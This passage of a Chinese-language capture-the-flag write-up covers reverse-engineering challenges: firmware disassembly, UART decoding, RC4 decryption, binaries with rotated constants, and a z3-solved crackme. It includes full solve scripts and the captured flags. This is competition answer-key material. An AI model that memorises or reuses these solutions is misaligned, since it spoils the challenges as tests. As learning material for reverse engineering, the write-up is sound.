open(filename, 'rb') as f: code = f.read() md = Cs(CS_ARCH_ARM, CS_MODE_THUMB) md.detail = True # The code is at offset start_addr in the file (since file is mapped at 0x0) # But we need to be careful. If the file is a raw binary, offset 0 in file is address 0. # So we slice the code. # Reset vector is at 0x4. Value is 0x351. So code starts at 0x350. # Let's disassemble from 0x350 # We need to pass the buffer starting from the address we want to disassemble # and the address of the first instruction. # Check if start_addr is within file if start_addr >= len(code): print("Start address out of bounds") return # Disassemble for i in md.disasm(code[start_addr:], start_addr): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str)) if i.address > start_addr + length: break disasm('firmware.bin', 0x44, 0x100) ``` 印出了 ``` python disasm.py 0x44: push {r7} 0x46: sub sp, #0x24 0x48: add r7, sp, #0 0x4a: str r0, [r7, #0xc] 0x4c: str r1, [r7, #8] 0x4e: str r2, [r7, #4] 0x50: movs r3, #0 0x52: str r3, [r7, #0x1c] 0x54: b #0x6a 0x56: ldr r3, [r7, #0x1c] 0x58: uxtb r1, r3 0x5a: ldr r2, [r7, #0xc] 0x5c: ldr r3, [r7, #0x1c] 0x5e: add r3, r2 0x60: mov r2, r1 0x62: strb r2, [r3] 0x64: ldr r3, [r7, #0x1c] 0x66: adds r3, #1 0x68: str r3, [r7, #0x1c] 0x6a: ldr r3, [r7, #0x1c] 0x6c: cmp r3, #0xff 0x6e: ble #0x56 0x70: ldr r3, [r7, #0xc] 0x72: movs r2, #0 0x74: str.w r2, [r3, #0x100] 0x78: ldr r3, [r7, #0xc] 0x7a: movs r2, #0 0x7c: str.w r2, [r3, #0x104] 0x80: movs r3, #0 0x82: str r3, [r7, #0x18] 0x84: movs r3, #0 0x86: str r3, [r7, #0x14] 0x88: b #0xe8 0x8a: ldr r2, [r7, #0xc] 0x8c: ldr r3, [r7, #0x14] 0x8e: add r3, r2 0x90: ldrb r3, [r3] 0x92: mov r2, r3 0x94: ldr r3, [r7, #0x18] 0x96: add r2, r3 0x98: ldr r3, [r7, #0x14] 0x9a: ldr r1, [r7, #4] 0x9c: udiv r1, r3, r1 0xa0: ldr r0, [r7, #4] 0xa2: mul r1, r0, r1 0xa6: subs r3, r3, r1 0xa8: ldr r1, [r7, #8] 0xaa: add r3, r1 0xac: ldrb r3, [r3] 0xae: add r3, r2 0xb0: rsbs r2, r3, #0 0xb2: uxtb r3, r3 0xb4: uxtb r2, r2 0xb6: it pl 0xb8: rsbpl r3, r2, #0 0xba: str r3, [r7, #0x18] 0xbc: ldr r2, [r7, #0xc] 0xbe: ldr r3, [r7, #0x14] 0xc0: add r3, r2 0xc2: ldrb r3, [r3] 0xc4: strb r3, [r7, #0x13] 0xc6: ldr r2, [r7, #0xc] 0xc8: ldr r3, [r7, #0x18] 0xca: add r3, r2 0xcc: ldrb r1, [r3] 0xce: ldr r2, [r7, #0xc] 0xd0: ldr r3, [r7, #0x14] 0xd2: add r3, r2 0xd4: mov r2, r1 0xd6: strb r2, [r3] 0xd8: ldr r2, [r7, #0xc] 0xda: ldr r3, [r7, #0x18] 0xdc: add r3, r2 0xde: ldrb r2, [r7, #0x13] 0xe0: strb r2, [r3] 0xe2: ldr r3, [r7, #0x14] 0xe4: adds r3, #1 0xe6: str r3, [r7, #0x14] 0xe8: ldr r3, [r7, #0x14] 0xea: cmp r3, #0xff 0xec: ble #0x8a 0xee: nop 0xf0: nop 0xf2: adds r7, #0x24 0xf4: mov sp, r7 0xf6: pop {r7} 0xf8: bx lr 0xfa: push {r7} 0xfc: sub sp, #0x14 0xfe: add r7, sp, #0 0x100: str r0, [r7, #4] 0x102: ldr r3, [r7, #4] 0x104: ldr.w r3, [r3, #0x100] 0x108: adds r3, #1 0x10a: uxtb r2, r3 0x10c: ldr r3, [r7, #4] 0x10e: str.w r2, [r3, #0x100] 0x112: ldr r3, [r7, #4] 0x114: ldr.w r3, [r3, #0x104] 0x118: ldr r2, [r7, #4] 0x11a: ldr.w r2, [r2, #0x100] 0x11e: ldr r1, [r7, #4] 0x120: ldrb r2, [r1, r2] 0x122: add r3, r2 0x124: uxtb r2, r3 0x126: ldr r3, [r7, #4] 0x128: str.w r2, [r3, #0x104] 0x12c: ldr r3, [r7, #4] 0x12e: ldr.w r3, [r3, #0x100] 0x132: ldr r2, [r7, #4] 0x134: ldrb r3, [r2, r3] 0x136: strb r3, [r7, #0xf] 0x138: ldr r3, [r7, #4] 0x13a: ldr.w r2, [r3, #0x104] 0x13e: ldr r3, [r7, #4] 0x140: ldr.w r3, [r3, #0x100] 0x144: ldr r1, [r7, #4] 0x146: ldrb r1, [r1, r2] ``` 於是叫AI生了個code去分析檔案 analyze-data.py ```py import struct def read_u32(data, offset): return struct.unpack('<I', data[offset:offset+4])[0] with open('firmware.bin', 'rb') as f: data = f.read() addr_input_str = read_u32(data, 0x340) addr_output_str = read_u32(data, 0x344) addr_array1 = read_u32(data, 0x348) addr_array2 = read_u32(data, 0x34c) print(f"Input Str Addr: 0x{addr_input_str:x}") print(f"Output Str Addr: 0x{addr_output_str:x}") print(f"Array1 Addr: 0x{addr_array1:x}") print(f"Array2 Addr: 0x{addr_array2:x}") # Let's see what's at these addresses def print_string(data, addr): if addr >= len(data): print(f"Addr 0x{addr:x} out of bounds") return s = "" while addr < len(data) and data[addr] != 0: s += chr(data[addr]) addr += 1 print(f"String: {s}") print_string(data, addr_input_str) print_string(data, addr_output_str) # Let's print bytes at Array1 print("Array1:") for i in range(32): if addr_array1 + i < len(data): print(f"{data[addr_array1+i]:02x}", end=" ") print() # Let's print bytes at Array2 print("Array2:") for i in range(32): if addr_array2 + i < len(data): print(f"{data[addr_array2+i]:02x}", end=" ") print() ``` 然後印出byte並且發現他是RC4 並且在看single.vcd 然後AI就幫我寫了 ```py import sys def parse_vcd(filename): events = [] current_time = 0 with open(filename, 'r') as f: for line in f: line = line.strip() if not line or line.startswith('$'): continue if line.startswith('#'): current_time = int(line[1:]) elif line.endswith('d'): val = int(line[0]) events.append((current_time, val)) return events def decode_uart(events, baud_rate): bit_period = 1e9 / baud_rate # Reconstruct the signal as a function of time # But since we just want to decode, we can simulate sampling. # Find the first start bit (falling edge) # Idle is 1. Start bit is 0. decoded_bytes = [] # Convert events to a more usable format: list of (start_time, value) # The value is valid from start_time until the next event's start_time # Let's just iterate through time looking for start bits current_event_idx = 0 current_val = 1 # Idle state # We need to handle the timeline. # Let's find the first falling edge. # Helper to get value at specific time def get_value_at(t, events): # This is inefficient for random access, but if we move forward monotonically it's fine. # We can keep a pointer. nonlocal current_event_idx while current_event_idx < len(events) - 1 and events[current_event_idx+1][0] <= t: current_event_idx += 1 # If t is before the first event, assume initial state (which was 1 based on dumpvars) if current_event_idx == -1: # Check if we have any events if not events: return 1 if t < events[0][0]: return 1 # Or whatever initial state # Actually, the VCD dumpvars sets the initial state at #0 usually. # In the provided snippet: # $dumpvars # 1d # $end # #0 # 1d # So at t=0, value is 1. # If we are past the last event, the value holds. return events[current_event_idx][1] # Reset pointer for the helper current_event_idx = 0 # Find max time max_time = events[-1][0] t = 0 while t < max_time: val = get_value_at(t, events) if val == 0: # Potential start bit # Verify start bit by checking middle of the bit sample_time = t + bit_period / 2 if get_value_at(sample_time, events) == 0: # Valid start bit byte_val = 0 for i in range(8): sample_time += bit_period bit = get_value_at(sample_time, events) byte_val |= (bit << i) decoded_bytes.append(byte_val) # Skip stop bit sample_time += bit_period # Ideally stop bit should be 1 # Move t to after the stop bit to search for next start bit # We are currently at center of stop bit. # Move to end of stop bit. t = sample_time + bit_period / 2 else: # False start, move forward a bit t += bit_period / 10 # small step else: # Wait for falling edge # We can jump to the next event if it's a falling edge next_change_time = -1 # Look ahead in events temp_idx = current_event_idx while temp_idx < len(events) - 1: if events[temp_idx+1][1] == 0: next_change_time = events[temp_idx+1][0] break temp_idx += 1 if next_change_time != -1 and next_change_time > t: t = next_change_time else: # No more falling edges break return bytes(decoded_bytes) events = parse_vcd('signal.vcd') # The snippet showed #0 1d, so initial state is 1. # The events list from parse_vcd will contain (#0, 1) as the first element if it's in the file. # The provided snippet shows: # $dumpvars # 1d # $end # #0 # 1d # So yes. decoded = decode_uart(events, 9600) print(decoded) ``` 然後就印出Key了:`b4r3MEt41` 寫個decrypt file ```py def rc4_ksa(key): key_len = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % key_len]) % 256 S[i], S[j] = S[j], S[i] return S def rc4_prga(S, length): i = 0 j = 0 stream = [] for _ in range(length): i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] stream.append(k) return stream key = b"b4r3MEt41" ciphertext = bytes([ 0xa2, 0xc3, 0x9e, 0xcc, 0x60, 0x35, 0xee, 0xbf, 0xf5, 0x7d, 0x78, 0x5a, 0xcd, 0xd5, 0xc8, 0x52, 0x80, 0xae, 0xc6, 0x19, 0x56, 0xf2, 0xa7, 0xcb, 0xd5, 0x0b, 0xe1, 0x61, 0xb9, 0x14 ]) S = rc4_ksa(key) stream = rc4_prga(S, len(ciphertext)) plaintext = bytes([c ^ k for c, k in zip(ciphertext, stream)]) print(plaintext) ``` > Flag: EOF{ExP3d14i0N_33_15_4he_G0AT} ### Structured - Small > Solver: Yuto ![圖片](https://hackmd.io/_uploads/SJOm-IC7Wl.png) 這題附件打開會看到 10 個 binary,`small-flag_[0-10]`。 第一個打開就可以看到 `main()` 在 `argv[1]` 接了一個字串然後做字串比對。 ![圖片](https://hackmd.io/_uploads/HkNNWLC7-g.png) 把之後的每個檔案的都拆出來就會是 ``` 'galf eht' 'iht rof ' 'ellahc s' ' :si egn' '5{FOEuRT' 'r_D3RuTC' '3_35R3V3' '1Re3N1gn' '609_gNaf' '9405919c' '45f98}\n' ``` 然後可以注意到,像是 `small-flag_{4,7}` 有做 ror,就要把他轉回來。 ![圖片](https://hackmd.io/_uploads/HJZH-UA7Zx.png) small-flag_4 ![圖片](https://hackmd.io/_uploads/r16rZLCQZe.png) small-flag_8 small-flag_10 甚至還有 bswap: ![圖片](https://hackmd.io/_uploads/By58-L0QWg.png) 組起來後就可以拿到 flag 了。 > Flag:`EOF{5TRuCTuR3D_r3V3R53_3ng1N3eR1Ng_906fac919504945f98}` 腳本 ```python title:solve.py import subprocess import re import os def rol64(x, n): return ((x << n) & 0xFFFFFFFFFFFFFFFF) | (x >> (64 - n)) def get_challenges(): challenges = [] for i in range(11): filename = f"small-flag_{i}" if not os.path.exists(filename): print(f"Warning: {filename} not found") continue cmd = ["objdump", "-d", "-M", "intel", filename] try: output = subprocess.check_output(cmd).decode("utf-8") except Exception as e: print(f"Error processing {filename}: {e}") continue # Find the constant # Look for movabs rax/rdx, 0x... match_mov = re.search(r'movabs\s+(?:rax|rdx),\s*(0x[0-9a-fA-F]+)', output) if not match_mov: print(f"Could not find constant in {filename}") continue target_hex = int(match_mov.group(1), 16) # Check for bswap if 'bswap' in output: challenges.append((i, target_hex, 'bswap')) continue # Check for ror match_ror = re.search(r'ror\s+(?:rax|rdx|rcx),\s*(0x[0-9a-fA-F]+)', output) if match_ror: ror_val = int(match_ror.group(1), 16) challenges.append((i, target_hex, ror_val)) else: challenges.append((i, target_hex, 0)) return challenges def solve(): challenges = get_challenges() challenges.sort(key=lambda x: x[0]) full_flag = "" print(f"{'Part':<5} | {'Hex':<18} | {'String'}") print("-" * 45) for idx, target, param in challenges: decoded = "" if param == 'bswap': # Part 10: target bytes are reversed chars try: b = target.to_bytes(8, 'big') decoded = b[1:][::-1].decode('latin-1') except Exception as e: decoded = f"Error: {e}" else: # Generic: Rotate Left to restore ror = param val = rol64(target, ror) try: decoded = val.to_bytes(8, 'big').decode('latin-1') except Exception as e: decoded = f"Error: {e}" print(f"{idx:<5} | {hex(target):<18} | {decoded}") full_flag += decoded print("-" * 45) print(f"Flag: {full_flag[full_flag.find("EOF{")::]}") if __name__ == "__main__": solve() ``` ### Structured - Large > Solver: Yuto ![圖片](https://hackmd.io/_uploads/ryEFWIAXWg.png) 這次跟 small 不同,有 25136 個檔案,勢必得用腳本解出所有的。 ![圖片](https://hackmd.io/_uploads/HyZ9bLAmZg.png) 先打開 `large-flag_0`,可以看到比較的那串數字直接變成 PNG 的 header,因此可以猜測要解的是一張圖片。而且看反組譯的的組合語言,會發現前 10 的地都長的一樣。 ![圖片](https://hackmd.io/_uploads/S1xibIRX-x.png) 後面也會有不一樣的但就慢慢改腳本,最後解出了這個: ![_WriteUP-11](https://hackmd.io/_uploads/rJSQzIAXZe.png) 然後靠隊友通靈出來。 Flag:`EOF{w31l_d0N3_b0t}` 腳本 ```python title:solve.py import sys import struct import os import re TOTAL_FILES = 25136 OUTPUT_FILE = "flag.png" def rol64(n, shift): return ((n << shift) & 0xFFFFFFFFFFFFFFFF) | (n >> (64 - shift)) def extract_from_file(filepath): try: with open(filepath, "rb") as f: data = f.read() except: return b'\x00'*8 val = 0 found = False # --- Patterns --- # 1. MOVABS (64-bit) match = re.search(b'\x48[\xb8-\xbf](.{8}).{0,16}\x48\x39', data, re.DOTALL) if match: val = struct.unpack("<Q", match.group(1))[0] found = True # 2. MOV R32 (32-bit, clears high bits) if not found: match = re.search(b'[\xb8-\xbf](.{4}).{0,16}\x48\x39', data, re.DOTALL) if match: val = struct.unpack("<I", match.group(1))[0] found = True # 3. CMP IMM32 if not found: match = re.search(b'\x48\x81[\xf8-\xff](.{4}).{0,8}(\x0f\x95|\xc3|\x75)', data, re.DOTALL) if match: val = struct.unpack("<I", match.group(1))[0] found = True # 4. CMP IMM8 (Signed 8-bit extended) if not found: match = re.search(b'\x48\x83[\xf8-\xff](.).{0,8}(\x0f\x95|\xc3|\x75)', data, re.DOTALL) if match: # 這裡要注意: IMM8 是 signed 的! # 例如 0xff 代表 -1,而不是 255 byte_val = match.group(1)[0] if byte_val > 127: val = 0xFFFFFFFFFFFFFF00 | byte_val # Sign extend to 64-bit else: val = byte_val found = True # 5. TEST ZERO if not found: if re.search(b'\x48\x85[\xc0-\xff].{0,8}\x0f\x95', data, re.DOTALL): val = 0 found = True # 6. [NEW] XOR REG, REG (Set to 0) followed by CMP if not found: # 31 c0~ff (xor reg, reg) ... 48 39 (cmp) if re.search(b'\x31[\xc0-\xff].{0,8}\x48\x39', data, re.DOTALL): val = 0 found = True if not found: # 如果真的找不到,回傳 None 讓我們知道 return None # --- Operations --- # ROR ror_match = re.search(b'\x48\xc1[\xc8-\xcf](.)', data, re.DOTALL) if ror_match: shift = ord(ror_match.group(1)) val = rol64(val, shift) # BSWAP if re.search(b'\x48\x0f[\xc8-\xcf]', data, re.DOTALL): bytes_val = val.to_bytes(8, 'little') val = struct.unpack("<Q", bytes_val[::-1])[0] return val.to_bytes(8, 'big') def main(): print(f"[*] Solving {TOTAL_FILES} files...") first_chunk = b"" fail_count = 0 with open(OUTPUT_FILE, "wb") as f_out: for i in range(TOTAL_FILES): filename = f"data/large-flag_{i}" chunk = extract_from_file(filename) if chunk: f_out.write(chunk) if i == 0: first_chunk = chunk else: # 這裡最關鍵:如果失敗,我們印出來,並填入明顯的錯誤 pattern (如 AAAAAAAA) # 這樣如果你用 hex editor 看 png,看到一堆 A 就知道哪裡爛了 if fail_count < 5: print(f"[!] FAILED at index {i} (File: {filename})") f_out.write(b'\x00' * 8) # 填 0 維持對齊 fail_count += 1 if i % 5000 == 0: print(f"[*] {i}/{TOTAL_FILES}") print(f"[*] Done. Total Failures: {fail_count}") if first_chunk.hex() == "89504e470d0a1a0a": print("[+] Header OK (PNG)") else: print(f"[!] Header BAD: {first_chunk.hex()}") if __name__ == "__main__": main() ``` 賽後跟 LLM 搞了個完美的解題腳本: ```python solve.py import subprocess import re import os import glob from multiprocessing import Pool OUTPUT_FILE = "flag.png" def rol64(x, n): return ((x << n) & 0xFFFFFFFFFFFFFFFF) | (x >> (64 - n)) def ror64(x, n): return ((x >> n) & 0xFFFFFFFFFFFFFFFF) | ((x << (64 - n)) & 0xFFFFFFFFFFFFFFFF) def get_instructions(filename): cmd = ["objdump", "-d", "-M", "intel", filename] output = subprocess.check_output(cmd).decode("utf-8") lines = [] for line in output.splitlines(): parts = line.split('\t') if len(parts) > 2: lines.append(parts[2].strip()) return lines def parse_challenge(filename): try: basename = os.path.basename(filename) idx = int(basename.split('_')[1]) insts = get_instructions(filename) # 1. Find the check (setne al) check_idx = -1 for i in range(len(insts) - 1, -1, -1): if insts[i].startswith("setne"): check_idx = i break if check_idx == -1: # Fallback for Pattern 19 (single byte) # It might not use setne? Or maybe it does. # Pattern 19: cmp BYTE PTR [rax], IMM; setne al # So it should be found. # Let's check if we missed it or if it's just not there. return (filename, idx, None) # 2. Identify Comparison # The instruction before setne is the comparison # It could be 'movzx eax, al' then 'ret' (if setne is earlier) # But usually: cmp ...; setne al; movzx eax, al; ret # Let's look at the instruction immediately before setne cmp_inst = insts[check_idx - 1] target_val = None data_reg = None # Parse comparison # cmp rcx, rax # test rcx, rcx # cmp rdx, IMM # cmp BYTE PTR [rax], IMM parts = cmp_inst.split() mnemonic = parts[0] ops = "".join(parts[1:]).split(',') if mnemonic == "cmp": op1 = ops[0] op2 = ops[1] if "BYTE PTR" in op1: # Pattern 19: cmp BYTE PTR [rax], 0x82 val = int(op2, 16) return (filename, idx, val.to_bytes(1, 'little')) if op2.startswith("0x") or op2.isdigit(): # cmp rdx, IMM target_val = int(op2, 16) data_reg = op1 else: # cmp rcx, rax # op1 is data, op2 is constant register data_reg = op1 const_reg = op2 # Find where const_reg was defined # Walk backwards from cmp_inst for k in range(check_idx - 2, -1, -1): curr = insts[k] # movabs rax, IMM # mov eax, IMM if curr.startswith("mov"): args = "".join(curr.split()[1:]).split(',') dest_reg = args[0] src_val = args[1] # Check if dest_reg matches const_reg (handling 32-bit alias) match = False if dest_reg == const_reg: match = True elif const_reg == "rax" and dest_reg == "eax": match = True elif const_reg == "rcx" and dest_reg == "ecx": match = True elif const_reg == "rdx" and dest_reg == "edx": match = True if match and (src_val.startswith("0x") or src_val.isdigit()): target_val = int(src_val, 16) break elif mnemonic == "test": # test rcx, rcx target_val = 0 data_reg = ops[0] if target_val is None: return (filename, idx, None) # 3. Trace Data Transformations transformations = [] for k in range(check_idx - 2, -1, -1): curr = insts[k] if curr.startswith("jne"): break # Check for ror, rol, bswap on data_reg if curr.startswith("ror") or curr.startswith("rol") or curr.startswith("bswap"): parts = curr.split() mnem = parts[0] args = "".join(parts[1:]).split(',') reg = args[0] if reg == data_reg: if mnem == "bswap": transformations.append(('bswap', 0)) else: # ror rdx, 0x... val_str = args[1] shift = 1 if val_str == '1' else int(val_str, 16) transformations.append((mnem, shift)) # 4. Apply Inverse Transformations current_val = target_val for op, val in transformations: if op == 'ror': # Inverse is rol current_val = rol64(current_val, val) elif op == 'rol': # Inverse is ror current_val = ror64(current_val, val) elif op == 'bswap': bytes_val = current_val.to_bytes(8, 'little') current_val = int.from_bytes(bytes_val, 'big') return (filename, idx, current_val.to_bytes(8, 'big')) except Exception as e: print(f"Error parsing {filename}: {e}") return (filename, idx, None) def main(): files = glob.glob("data/large-flag_*") print(f"Found {len(files)} files. Processing with flow analysis...") with Pool(processes=os.cpu_count()) as pool: results = pool.map(parse_challenge, files) failures = [r for r in results if r[2] is None] if failures: print(f"[-] Failed to parse {len(failures)} files.") print("First 5 failures:", [f[0] for f in failures[:5]]) return print("[+] All files parsed successfully.") results.sort(key=lambda x: x[1]) full_data = bytearray() for _, _, data in results: full_data.extend(data) with open(OUTPUT_FILE, "wb") as f: f.write(full_data) print(f"[+] Saved to {OUTPUT_FILE}") if __name__ == "__main__": main() ``` ### ポケモン GO ![圖片](https://hackmd.io/_uploads/Sk_HzI0mZx.png) 先直接跑起來看看。程式會印出提示,要求輸入密碼。密碼錯誤後程式就結束了,所以首先要先找出密碼。 ![圖片](https://hackmd.io/_uploads/SJUUfIRQbg.png) 用 Binary Ninja 打開可以看到直接從 start() 開始,然後接著一坨 API Hashing 的部分,直接開動態看可以比較快還原出來。 還原之後就可以看到一開始輸入畫面的地方。 ![圖片](https://hackmd.io/_uploads/rJAIfICQbe.png) 後續可以看到一個計算字串長度的 while 迴圈,接著底下就會看到一大坨比對密碼的線性運算?總之這個可以給 z3 解。 ```python title:solve.py from z3 import * s = Solver() x = [BitVec(f"x_{i}", 32) for i in range(18)] # flag is printable for i in range(18): s.add(x[i] >= 32) s.add(x[i] <= 126) # Block 1: Target 0x1e8126 s.add( x[13] * 0x155 + x[5] * 0x4F6 + x[8] * 0x648 + x[4] * 0x111 + x[0] * 0xC75 + x[2] * 0x758 + x[3] * 0x7C9 + x[1] * 0x1F5 + x[16] * 0x4BF + x[9] * 0x263 + x[12] * 0x70 + x[14] * 9 + x[17] * 0x56A + x[6] * 0x4D1 + x[15] * 0xEBE + x[10] * 0x18A + x[7] * 0xB1F + x[11] * 0x74C == 0x1E8126 ) # Block 2: Target 0x2e3d40 s.add( x[13] * 0xB16 + x[12] * 0x98F + x[15] * 0x26C + x[4] * 0x941 + x[9] * 0x695 + x[0] * 0xE83 + x[2] * 0x2BE + x[10] * 0xA0D + x[5] * 0xFFC + x[16] * 0xFAB + x[11] * 0x53F + x[14] * 0x372 + x[1] * 0x1A9 + x[6] * 0x447 + x[8] * 0x6A0 + x[7] * 0x268 + x[3] * 0xC72 + x[17] * 0x347 == 0x2E3D40 ) # Block 3: Target 0x38e4c6 s.add( x[8] * 0xCBA + x[3] * 0xF44 + x[1] * 0x52A + x[16] * 0xCFC + x[2] * 0xF02 + x[5] * 0x507 + x[7] * 0x218 + x[12] * 0xEF8 + x[9] * 0xBFE + x[11] * 0xF39 + x[17] * 0xF6C + x[15] * 0xB11 + x[4] * 0xB9B + x[10] * 0x1AD + x[13] * 0xA7C + x[14] * 0x2F3 + x[6] * 0x21 + x[0] * 0x63B == 0x38E4C6 ) # Block 4: Target 0x2b5d3a s.add( x[16] * 0xD6 + x[2] * 0xEFC + x[17] * 0x99A + x[5] * 0x258 + x[12] * 0x3B3 + x[15] * 0x36C + x[9] * 0x593 + x[0] * 0x591 + x[1] * 0x96F + x[11] * 0x48F + x[8] * 0xDF0 + x[7] * 0x27 + x[10] * 0xD8C + x[13] * 0x68 + x[6] * 0x2E7 + x[4] * 0x4AF + x[3] * 0xF14 + x[14] * 0xAC8 == 0x2B5D3A ) # Block 5: Target 0x2f6ad7 s.add( x[15] * 0x173 + x[8] * 0x3BC + x[12] * 0x2BE + x[3] * 0x373 + x[0] * 0x43A + x[10] * 0xF23 + x[9] * 0xFBB + x[14] * 0x9F8 + x[7] * 0x487 + x[13] * 0x408 + x[11] * 0xBF9 + x[16] * 0x90D + x[5] * 0x13F + x[4] * 0xE7D + x[2] * 0xC79 + x[6] * 0x9DF + x[1] * 0x4B5 + x[17] * 0xD81 == 0x2F6AD7 ) # Block 6: Target 0x2876ce s.add( x[7] * 0x12 + x[11] * 0x4FD + x[9] * 0x572 + x[2] * 0xEFF + x[14] * 0xF7C + x[1] * 1 + x[17] * 0xB2C + x[13] * 0xEE4 + x[10] * 0x4E6 + x[15] * 0x4C7 + x[0] * 0x64B + x[16] * 0x1E7 + x[4] * 0x843 + x[6] * 0x8C5 + x[3] * 0x306 + x[5] * 0x3EC + x[8] * 0x1C9 + x[12] * 0xEBD == 0x2876CE ) # Block 7: Target 0x23d026 s.add( x[9] * 0xCD9 + x[4] * 0xDB + x[11] * 0x24F + x[6] * 0xD1 + x[5] * 0x3D1 + x[16] * 0xB4C + x[1] * 0xA75 + x[13] * 0x4D6 + x[2] * 0x2B5 + x[17] * 0xD8E + x[12] * 0xECF + x[8] * 0xDD + x[10] * 0x1F6 + x[7] * 0xA78 + x[3] * 0xE4 + x[14] * 0x48C + x[15] * 0x43E + x[0] * 0xF55 == 0x23D026 ) # Block 8: Target 0x411950 s.add( x[1] * 0x88B + x[17] * 0x9B7 + x[12] * 0x81A + x[2] * 0x654 + x[11] * 0xC20 + x[9] * 0xB8C + x[0] * 0x9F2 + x[8] * 0xF22 + x[14] * 0xCD3 + x[16] * 0xC2E + x[13] * 0xD25 + x[15] * 0xAB3 + x[4] * 0x666 + x[10] * 0xB77 + x[7] * 0x747 + x[5] * 0xD61 + x[3] * 0xD7E + x[6] * 0xB98 == 0x411950 ) # Block 9: Target 0x2fdc0e s.add( x[12] * 0x40F + x[14] * 0xFD7 + x[5] * 0x694 + x[17] * 0x316 + x[10] * 0x957 + x[0] * 0x21F + x[7] * 0xF3 + x[15] * 0xC62 + x[2] * 0x2DA + x[11] * 0xE9A + x[3] * 0xF94 + x[1] * 0xCD3 + x[6] * 0x437 + x[13] * 0x1CF + x[9] * 0x46C + x[4] * 0x7A5 + x[8] * 0xB7D + x[16] * 0xA68 == 0x2FDC0E ) # Block 10: Target 0x2afdbb s.add( x[4] * 0x667 + x[15] * 0xC3B + x[10] * 0xD29 + x[9] * 0x620 + x[0] * 0xD7E + x[6] * 0x46C + x[1] * 0x193 + x[13] * 0x1A9 + x[11] * 0x3DD + x[8] * 0xE47 + x[12] * 0x99F + x[5] * 0xC81 + x[16] * 0x606 + x[2] * 0x46 + x[7] * 0xBB1 + x[17] * 0x40D + x[3] * 0x140 + x[14] * 0xBD3 == 0x2AFDBB ) # Block 11: Target 0x2fd74e s.add( x[8] * 0x8DC + x[0] * 0xA8 + x[6] * 0xC5 + x[9] * 0xDBE + x[3] * 0x46E + x[10] * 0xA16 + x[15] * 0x2A3 + x[1] * 0xE10 + x[5] * 0x2E2 + x[12] * 0xF3C + x[2] * 0xF3F + x[17] * 0xCDA + x[7] * 0xC7D + x[4] * 0xA9D + x[14] * 0x383 + x[16] * 0x1F9 + x[11] * 0x423 + x[13] * 0x1B9 == 0x2FD74E ) # Block 12: Target 0x2e5011 s.add( x[5] * 0x937 + x[0] * 0x93B + x[3] * 0xE4C + x[14] * 0x8CD + x[7] * 0x49F + x[10] * 0x1E7 + x[15] * 0x224 + x[9] * 0x429 + x[1] * 0xFDD + x[13] * 0x590 + x[8] * 0x534 + x[12] * 0xD8A + x[2] * 0x5AF + x[17] * 0x264 + x[6] * 0xC8B + x[4] * 0x38C + x[11] * 0xC6E + x[16] * 0x39B == 0x2E5011 ) # Block 13: Target 0x276b58 # 注意:原始碼中有 (zx.d(*(ebp_1[-0x23] + 0xe)) << 6),係數為 64 (0x40) s.add( x[0] * 0x8AB + x[11] * 0x9AC + x[2] * 0xA7F + x[6] * 0x59 + x[15] * 0xD67 + x[14] * 64 + x[4] * 0x1DD + x[9] * 0x798 + x[10] * 0x7A3 + x[5] * 0x8D + x[8] * 0x1AF + x[17] * 0x141 + x[13] * 0xB24 + x[7] * 0xFD0 + x[1] * 0x407 + x[16] * 0xC93 + x[3] * 0x63A + x[12] * 0x3A7 == 0x276B58 ) # Block 14: Target 0x306ca1 s.add( x[16] * 0x8AC + x[6] * 0x66F + x[17] * 0x5DE + x[3] * 0xB40 + x[14] * 0x3AA + x[13] * 0x59D + x[7] * 0x8BA + x[4] * 0xC37 + x[5] * 0xD34 + x[8] * 0x4AD + x[12] * 0x58D + x[11] * 0xE5C + x[10] * 0x2ED + x[9] * 0xD2F + x[1] * 0xF31 + x[2] * 0x87 + x[0] * 0xE5B + x[15] * 0x3A0 == 0x306CA1 ) # Block 15: Target 0x321fe1 s.add( x[2] * 0x39E + x[9] * 0x502 + x[7] * 0xD70 + x[6] * 0xCE3 + x[10] * 0xC6B + x[14] * 0x78C + x[1] * 0xFE4 + x[16] * 0xD5 + x[11] * 0x91 + x[12] * 0x3B + x[3] * 0x657 + x[4] * 0xFFC + x[0] * 0x46C + x[15] * 0x3CF + x[5] * 0x41F + x[17] * 0x238 + x[8] * 0xB6D + x[13] * 0xAF6 == 0x321FE1 ) # Block 16: Target 0x29d6c6 s.add( x[3] * 0x18D + x[13] * 0x8C6 + x[0] * 0x560 + x[7] * 0x2CC + x[4] * 0x6AE + x[10] * 0xCFB + x[12] * 0xF90 + x[14] * 0x79B + x[5] * 0xDA4 + x[8] * 0x8A3 + x[15] * 0x970 + x[17] * 0x52E + x[11] * 0x9E4 + x[16] * 0x19B + x[2] * 0x678 + x[9] * 0x275 + x[1] * 0x5DD + x[6] * 0x275 == 0x29D6C6 ) # Block 17: Target 0x2d6a00 s.add( x[2] * 0x96E + x[8] * 0x6D + x[11] * 0x941 + x[12] * 0xB4 + x[15] * 0x181 + x[17] * 0x7B7 + x[14] * 0xC3 + x[9] * 0x739 + x[16] * 0xBAF + x[4] * 0x7BE + x[1] * 0x675 + x[5] * 0x733 + x[0] * 0xDA0 + x[6] * 0xA64 + x[3] * 0x88F + x[7] * 0xA68 + x[13] * 0xD58 + x[10] * 0x713 == 0x2D6A00 ) # Block 18: Target 0x303ea0 s.add( x[2] * 0x683 + x[12] * 0x53 + x[1] * 0x263 + x[11] * 0x704 + x[16] * 0xE43 + x[15] * 0x5CB + x[5] * 0x3F0 + x[17] * 0xF1F + x[9] * 0x8AD + x[10] * 0xE66 + x[6] * 0xDF2 + x[13] * 0x930 + x[8] * 0x729 + x[7] * 0x40F + x[3] * 0xB61 + x[14] * 0x525 + x[0] * 0xA34 + x[4] * 0xDD == 0x303EA0 ) print("[+] Solving...") if s.check() == sat: m = s.model() result = "" for i in range(18): val = m[x[i]].as_long() result += chr(val) print(f"FLAG: {result}") ``` 執行結果是: ```shell ➜ uvr solve.py [+] Solving... FLAG: 1s_th1s_y0u7_f1@g? ``` 看來這不是 flag,重新執行程式並輸入進去看看。他會跳一個很大的寶可夢 banner 並且底下可以輸入一些文字。 ![圖片](https://hackmd.io/_uploads/BJBOGLCXbl.png) 會發現回到 Binary Ninja 裡面找好像沒有看到這樣的字串。順著程式流程搭配 x64dbg 往下看,可以看到他有對記憶體改權限,值得關注的是 `PAGE_EXECUTE_REAWRITE`,通常在解密 shellcode 